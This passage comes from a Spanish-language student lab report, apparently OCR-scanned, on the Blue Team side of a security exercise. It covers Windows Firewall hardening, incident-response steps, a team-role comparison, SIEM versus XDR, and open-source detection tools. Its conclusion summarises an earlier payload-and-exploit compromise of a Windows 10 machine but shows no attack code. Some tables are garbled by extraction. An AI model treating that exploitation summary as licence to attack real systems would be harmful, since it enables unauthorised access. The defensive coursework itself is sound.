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Imagen 49. Configuracion en la politica del firewall de Windows a las conexiones
entrantes y activar el firewall conectarse a cualquier red.

BN Administrador: Simbolo del sistema

blockinbound, allowoutbound

Fuente. El Autor

42.El endurecimiento de estas politicas en el firewall de Windows nos debe
bloquear cualquier intento de conexion entrante como la que se genera con
el payload y aunque este desactiva al conectarse a cualquier red este se
habilita automaticamente, con estas politicas pasamos de una puntuacion del
0% al 55% es una mejora significativa en la seguridad de la maquina

Windows.

Imagen 50. Puntuacion después del endurecimiento de las politicas del firewall de
Windows de la maquina Windows.

Non-Compliance Report - Microsoft Windows Firewall with Advanced Security STIG SCAP
k - NIWC Enhanced with Manual Questions

58

Fuente. El Autor
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7

RESPUESTA A LAS SIGUIENTES PREGUNTAS ORIENTADORAS:

De manera individual usted debera leer el problema que se encuentra en el anexo

5 — escenario 4 referente a equipo Blueteam y por medio del banco de trabajo

configurado en la actividad anterior debera dar respuesta a las siguientes preguntas

orientadoras:

1. ¢(Ante un ataque informatico en tiempo real usted como experto en

Ciberseguridad qué pasos toma para identificar dicho ataque? Debe listar y

explicar cada uno de estos pasos.

Monitoreo de tréfico de red: Utiliza herramientas de monitoreo de red para
analizar el trafico entrante y saliente en busca de patrones extrafios o
actividad sospechosa.

Andlisis de registros de eventos: Revisa los registros de eventos del
sistema y de aplicaciones en busca de actividades an6malas o eventos
de seguridad relevantes.

Deteccion de anomalias: Utiliza técnicas de deteccion de actividades
sospechosas para identificar comportamientos inusuales en el trafico de
red, el uso de recursos del sistema o la actividad del usuario.

Alertas de seguridad: Configura alertas de seguridad para notificar
automaticamente sobre eventos sospechosos o posibles intrusiones.
Andlisis forense: Realiza un analisis forense detallado en caso de que se
detecte una intrusién para determinar el alcance del ataque, los métodos
utilizados y los sistemas comprometidos.

2. ¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team liste

el paso a paso que ejecutd para subsanar el sistema ante el evento del

Payload?

Identificacion del ataque: Identifica la presencia del Payload o software

malintencionado en el sistema comprometido.
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- Aislamiento de la maquina comprometido: Aislar la maquina afectada
para evitar una posible propacion del malware atravez de la red.

- Eliminacion del Payload: Elimina el archivo malware y cualquier otra
amenza asociado al ataque del sistema comprometido.

- Andlisis forense: Realiza un andlisis forense para determinar como se
ejecuto el ataque, qué sistemas se vieron comprometidos y qué datos
pueden haber sido comprometidos.

- Simulacion del proceso del malware: Utilizar herramientas que nos
ayuden a simular el paso paso del malware para poder cerrar las brechas
de seguridad y mejorar medidas medidas coreectivas.

- Hardenizacion del sistemas: Utlizar herramintas de de herdening para
endurecer las politicas del sistema afectado.

- Aplicacion de medidas correctivas: Implementa medidas correctivas para
fortalecer la seguridad del sistema y prevenir futuros ataques similares.

Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢ qué

diferencia existen entre los equipos antes mencionados con el Purple Team

y equipos de respuesta a incidentes informéticos?
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Imagen 51. Cuadro comparativo Blue Team, Red Team, Purple Team y equipos
de respuesta a incidentes

Combinacion de aspectos del Blue
Team y Red Team para mejorar la Gestion y respuesta a incidentes
colaboracion y capacidad de deteccion de seguridad cibernética.
y respuesta.

Ejecucién de pruebas de
penetracion y simulacion de
ataques cibernéticos.

Defensa y proteccion de activos
de informacion.

Monitoreo de seguridad, gestion Pruebas de penetracion, Colaboracion entre Blue Team y Red
de parches, andlisis de logs,  evaluacion de vulnerabilidades, Team, evaluacién conjunta de la postura
implementacion de medidas de identificacion de debilidades en de seguridad, mejora de la defensa y

Deteccion, investigacion,
mitigacion y recuperacion de
incidentes de seguridad.

seguridad. la seguridad. respuesta.
. Identificar y explotar . - :
Proteger los activos de ary exp Mejorar la deteccion y respuesta a Gestionar y responder
. 5 L vulnerabilidades en la L . ; o
informacion de la organizacion . L incidentes combinando los efectivamente a incidentes de
seguridad de la organizacion - " ) S
contra amenazas y ataques . conocimientos y habilidades del Blue seguridad para minimizar el
. o para mejorar la postura de . L
cibernéticos. . Team y Red Team. impacto en la organizacion.
seguridad.
Herramientas de seguridad, Herramientas de pruebas de . i . .
i 5€9 9 p Herramientas de andlisis de seguridad, Herramientas de SIEM, EDR,
andlisis forense, sistemas de penetracion, escaneres de . . gyl .
o : ; . SIEM, deteccion y respuesta extendida andlisis forense, herramientas de
deteccion de intrusiones, vulnerabilidades, frameworks (XDR) respuesta & incidertes
firewalls, SIEM. de hacking ético. ’ P ’
. Identificacion de . " - .
Mejora de la postura de p " Mejora de la colaboracion y Respuesta répida y efectiva a
B i vulnerabilidades y debilidades S ] S )
seguridad, prevencion de en la seguridad coordinacion entre los equipos de incidentes de seguridad,
incidentes, deteccion y respuesta . g seguridad, fortalecimiento de la postura  minimizacion del impacto en la
. recomendaciones para mitigar o
efectiva a amenazas. de defensa. organizacion.

riesgos.
Fuente. El Autor

4. ¢Qué funcion tiene CIS “Center For Internet Security” dentro de equipos

BlueTeam? Usted debe realizar un pequefio tutorial de como funciona CIS y
gué se debe hacer para encontrar los tutoriales que posee.
El Center For Internet Security, proporciona directrices y mejores practicas
de seguridad cibernética a través de sus benchmarks y controles de
seguridad, para ayudar con sus recursos a los equipos Blue Team para
fortalecer la seguridad de los sistemas y a cumplir con los estandares de
seguridad reconocidos a nivel internacional.

5. Debera documentar mediante la elaboracion una tabla las diferencias
existentes entre: SIEM y XDR.
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Imagen 52. Tabla de las diferencias entre SIEM y XDR

Herramienta de gestion de eventos Plataforma de detecciony
de informacion y de seguridad. respuesta extendida.

Amplia el alcance a la deteccion y
respuesta automatizada de
amenazas en multiples capas de

Se centra en la recopilacion,
correlacion y andlisis de datos de

SEELITEED. la infraestructura.
Logs de eventos de sistemas, Logs de eventos, tréfico de red,
redes y aplicaciones. datos de amenazas.
Correlacion de eventos, Deteccion avanzada de amenazas,
generacion de alertas, analisis investigacion de incidentes,
forense. respuesta automatizada.

Fuente. El Autor

6. Defina por lo menos 3 herramientas de deteccién de ataques informéticos
con licencia GPL.

- Wireshark: Es una herramienta de analisis de protocolos de red de codigo
abierto que permite capturar y analizar el trafico de red en tiempo real.

- Wazuh: Es una plataforma de seguridad de cddigo abierto que integra
deteccion de intrusiones, monitorizacibn de registros, andlisis de
integridad de archivos y gestion de amenazas en un Unico sistema.

- Snort: Es un sistema de deteccion y prevencién de intrusiones en red
(NIDS/NIPS) de cddigo abierto que se utiliza para analizar el trafico de

red en busca de comportamientos maliciosos y amenazas

8 RECOMENDACIONES

e Monitoreo de trafico de red: Utiliza herramientas de monitoreo de red para
analizar el trafico entrante y saliente en busca de patrones extrafios o
actividad sospechosa.

e Analisis de registros de eventos: Revisa los registros de eventos del
sistema y de aplicaciones en busca de actividades anémalas o eventos de
seguridad relevantes.
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e Deteccion de anomalias: Utiliza técnicas de deteccion de actividades
sospechosas para identificar comportamientos inusuales en el trafico de
red, el uso de recursos del sistema o la actividad del usuario.

e Alertas de seguridad: Configura alertas de seguridad para notificar
automéaticamente sobre eventos sospechosos o0 posibles intrusiones.

e Pruebas de pentesting: Realizar pruebas recurrentes de pentesting para
mitigar las vulnerabilidades conocidas.

e Actualizaciéon continua: Mantén tus sistemas operativos, software y
dispositivos actualizados con los ultimos parches de seguridad para mitigar
vulnerabilidades conocidas

e Analisis forense: Realiza un analisis forense detallado en caso de que se
detecte una intrusién para determinar el alcance del ataque, los métodos
utilizados y los sistemas comprometidos

e Capacitar a los usuarios y personal de Tl sobre temas de Ciberseguridad

¢ Plan de respuesta a incidentes: Desarrolla y practica un plan de respuesta a
incidentes detallado para garantizar una respuesta rapida y coordinada en
caso de una violacién de seguridad.

e MSPI: Contar con un Manual de seguridad y privacidad de la informaciéon y
hacer actualizaciones constantes con ayuda de los marcos de referencia.

e Auditorias: Realizar periodicamente auditorias internas y externas para

poder verificar la robustes de las politicas implementadas.

9 LINK DEL VIDEO

https://youtu.be/9rv65Z20W4x8
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https://youtu.be/9rv65Z0W4x8

CONCLUSION

En el andlisis detallado de este escenario de ataque Red Team nos ha
proporcionado una comprension profunda del proceso de explotacion de
vulnerabilidades en una maquina Windows 10 x64, la desactivacion de la seguridad,
la generacion de payloads maliciosos y la ejecucion de exploits nos permitieron
obtener acceso no autorizado y control total sobre el sistema comprometido, desde
el Blue Team se logr6 endurecer las politicas del sistema operativo, Windows
defender y firewall de Windows, mitigando posibles ataques con el mismo vector de
ataque, este ejercicio destaca la importancia de implementar medidas de seguridad

robustas y estar alerta ante posibles amenazas cibernéticas
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